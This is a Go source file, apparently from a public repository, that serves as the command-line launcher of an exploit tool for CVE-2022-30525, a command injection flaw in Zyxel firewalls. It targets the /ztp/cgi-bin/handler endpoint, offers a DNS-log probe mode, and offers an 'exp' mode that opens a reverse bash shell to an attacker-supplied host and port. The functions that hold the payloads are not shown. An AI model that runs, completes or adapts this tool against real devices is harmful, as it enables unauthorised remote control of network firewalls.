-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.go
55 lines (51 loc) · 905 Bytes
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main
//author:160team.west9B
import (
"flag"
"fmt"
)
var (
method string
url string
lhost string
lport string
dnsLogAdr string
path = "/ztp/cgi-bin/handler"
)
func init() {
flag.StringVar(&method,
"m",
"",
"method:poc/exp",
)
flag.StringVar(&url,
"u",
"",
"url:https://127.0.0.1/",
)
flag.StringVar(&lhost,
"lhost",
"ip",
"lhost:bash-shell ip",
)
flag.StringVar(&lport,
"lport",
"port",
"lport:bash-shell port",
)
}
func main() {
flag.Parse()
fmt.Println("CVE-2022-30525 Zyxel防火墙命令注入漏洞 POC&EXP")
fmt.Println("author:160team.west9b")
if method == "poc" {
PocDnsLog()
return
}
if method == "exp" && lhost != "ip" && lport != "port" {
ExpBashShell()
return
}
fmt.Println("usage_poc:cve-2022-30525.exe -m poc -u url")
fmt.Println("usage_exp:cve-2022-30525.exe -m exp -u url -lhost ip -lport port")
}